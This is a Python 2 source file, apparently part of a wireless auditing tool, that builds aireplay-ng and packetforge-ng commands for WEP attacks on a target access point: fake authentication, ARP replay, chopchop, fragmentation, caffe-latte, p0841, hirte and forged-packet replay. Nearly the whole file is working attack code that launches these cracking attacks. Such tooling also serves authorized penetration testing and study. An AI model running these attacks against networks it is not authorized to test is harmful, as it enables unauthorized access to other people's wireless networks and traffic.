262 lines
9.4 KiB
Python
262 lines
9.4 KiB
Python
#!/usr/bin/python2.7
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# -*- coding: utf-8 -*-
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from Configuration import Configuration
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from Process import Process
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import os
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class WEPAttackType(object):
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''' Enumeration of different WEP attack types '''
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fakeauth = 0
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replay = 1
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chopchop = 2
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fragment = 3
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caffelatte = 4
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p0841 = 5
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hirte = 6
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forgedreplay = 7
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def __init__(self, var):
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'''
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Sets appropriate attack name/value given an input.
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Args:
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var - Can be a string, number, or WEPAttackType object
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This object's name & value is set depending on var.
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'''
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self.value = None
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self.name = None
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if type(var) == int:
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for (name,value) in WEPAttackType.__dict__.iteritems():
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if type(value) == int:
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if value == var:
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self.name = name
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self.value = value
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return
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raise Exception("Attack number %d not found" % var)
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elif type(var) == str:
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for (name,value) in WEPAttackType.__dict__.iteritems():
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if type(value) == int:
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if name == var:
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self.name = name
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self.value = value
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return
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raise Exception("Attack name %s not found" % var)
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elif type(var) == WEPAttackType:
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self.name = var.name
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self.value = var.value
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else:
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raise Exception("Attack type not supported")
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def __str__(self):
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return self.name
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class Aireplay(object):
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def __init__(self, target, attack_type, client_mac=None, replay_file=None):
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'''
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Starts aireplay process.
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Args:
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target - Instance of Target object, AP to attack.
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attack_type - int, str, or WEPAttackType instance.
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client_mac - MAC address of an associated client.
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'''
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cmd = Aireplay.get_aireplay_command(target,
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attack_type,
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client_mac=client_mac,
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replay_file=replay_file)
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# TODO: set 'stdout' when creating process to store output to file.
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# AttackWEP will read file to get status of attack.
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# E.g., chopchop will regex "(\d+)% done" to get percent complete.
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'''
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from subprocess import PIPE
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sout = PIPE
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if '--chopchop' in cmd:
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sout = open(Configuration.temp('chopchop'), 'w')
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'''
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self.pid = Process(cmd,
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devnull=False,
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cwd=Configuration.temp())
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def is_running(self):
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return self.pid.poll() == None
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def stop(self):
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''' Stops aireplay process '''
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if self.pid and self.pid.poll() != None:
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self.pid.interrupt()
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def get_output(self):
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''' Returns stdout from aireplay process '''
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return self.pid.stdout()
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@staticmethod
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def get_aireplay_command(target, attack_type,
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client_mac=None, replay_file=None):
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'''
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Generates aireplay command based on target and attack type
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Args:
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target - Instance of Target object, AP to attack.
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attack_type - int, str, or WEPAttackType instance.
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client_mac - MAC address of an associated client.
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replay_file - .Cap file to replay via --arpreplay
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'''
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# Interface is required at this point
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Configuration.initialize()
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if Configuration.interface == None:
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raise Exception("Wireless interface must be defined (-i)")
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cmd = ['aireplay-ng']
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cmd.append('--ignore-negative-one')
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if not client_mac and len(target.clients) > 0:
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# Client MAC wasn't specified, but there's an associated client. Use that.
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client_mac = target.clients[0].station
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# type(attack_type) might be str, int, or WEPAttackType.
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# Find the appropriate attack enum.
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attack_type = WEPAttackType(attack_type).value
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if attack_type == WEPAttackType.fakeauth:
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cmd.extend(['-1', '0']) # Fake auth, no delay
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cmd.extend(['-a', target.bssid])
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cmd.extend(['-T', '3']) # Make 3 attempts
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if target.essid_known:
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cmd.extend(['-e', target.essid])
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# Do not specify client MAC address,
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# we're trying to fake-authenticate using *our* MAC
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elif attack_type == WEPAttackType.replay:
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cmd.append('--arpreplay')
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cmd.extend(['-b', target.bssid])
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cmd.extend(['-x', str(Configuration.wep_pps)])
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if client_mac:
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cmd.extend(['-h', client_mac])
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elif attack_type == WEPAttackType.chopchop:
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cmd.append('--chopchop')
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cmd.extend(['-b', target.bssid])
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cmd.extend(['-x', str(Configuration.wep_pps)])
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cmd.extend(['-m', '60']) # Minimum packet length (bytes)
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cmd.extend(['-n', '82']) # Maximum packet length
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cmd.extend(['-F']) # Automatically choose first packet
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if client_mac:
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cmd.extend(['-h', client_mac])
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elif attack_type == WEPAttackType.fragment:
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cmd.append('--fragment')
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cmd.extend(['-b', target.bssid])
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cmd.extend(['-x', str(Configuration.wep_pps)])
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cmd.extend(['-m', '100']) # Minimum packet length (bytes)
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cmd.extend(['-F']) # Automatically choose first packet
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if client_mac:
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cmd.extend(['-h', client_mac])
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elif attack_type == WEPAttackType.caffelatte:
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cmd.append('--caffe-latte')
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cmd.extend(['-b', target.bssid])
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if client_mac:
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cmd.extend(['-h', client_mac])
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elif attack_type == WEPAttackType.p0841:
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cmd.append('--interactive')
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cmd.extend(['-b', target.bssid])
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cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
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cmd.extend(['-t', '1'])
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cmd.extend(['-x', str(Configuration.wep_pps)])
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cmd.extend(['-F']) # Automatically choose first packet
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cmd.extend(['-p', '0841'])
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if client_mac:
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cmd.extend(['-h', client_mac])
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elif attack_type == WEPAttackType.hirte:
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if client_mac == None:
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# Unable to carry out hirte attack
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raise Exception("Client is required for hirte attack")
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cmd.append('--cfrag')
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cmd.extend(['-h', client_mac])
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elif attack_type == WEPAttackType.forgedreplay:
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if client_mac == None or replay_file == None:
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raise Exception(
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"Client_mac and Replay_File are required for arp replay")
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cmd.append('--arpreplay')
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cmd.extend(['-b', target.bssid])
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cmd.extend(['-r', replay_file])
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cmd.extend(['-F']) # Automatically choose first packet
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cmd.extend(['-x', str(Configuration.wep_pps)])
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else:
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raise Exception("Unexpected attack type: %s" % attack_type)
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cmd.append(Configuration.interface)
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return cmd
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@staticmethod
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def get_xor():
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''' Finds the last .xor file in the directory '''
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xor = None
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for fil in os.listdir(Configuration.temp()):
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if fil.startswith('replay_') and fil.endswith('.xor'):
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xor = fil
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return xor
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@staticmethod
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def forge_packet(xor_file, bssid, station_mac):
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''' Forges packet from .xor file '''
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forged_file = 'forged.cap'
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cmd = [
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'packetforge-ng',
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'-0',
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'-a', bssid, # Target MAC
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'-h', station_mac, # Client MAC
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'-k', '192.168.1.2', # Dest IP
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'-l', '192.168.1.100', # Source IP
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'-y', xor_file, # Read PRNG from .xor file
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'-w', forged_file, # Write to
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Configuration.interface
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]
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cmd = '"%s"' % '" "'.join(cmd)
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(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
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if out.strip() == 'Wrote packet to: %s' % forged_file:
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return forged_file
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else:
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from Color import Color
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Color.pl('{!} {R}failed to forge packet from .xor file{W}')
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Color.pl('output:\n"%s"' % out)
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return None
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if __name__ == '__main__':
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t = WEPAttackType(4)
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print t.name, type(t.name), t.value
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t = WEPAttackType('caffelatte')
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print t.name, type(t.name), t.value
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t = WEPAttackType(t)
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print t.name, type(t.name), t.value
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from Target import Target
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fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
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t = Target(fields)
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cmd = Aireplay.get_aireplay_command(t, 'fakeauth')
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print ' '.join(['"%s"' % a for a in cmd])
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'''
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aireplay = Aireplay(t, 'replay')
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while aireplay.is_running():
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from time import sleep
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sleep(0.1)
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print aireplay.get_output()
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'''
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'''
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forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \
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'A4:2B:8C:16:6B:3A', \
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'00:C0:CA:4E:CA:E0')
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print forge
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'''
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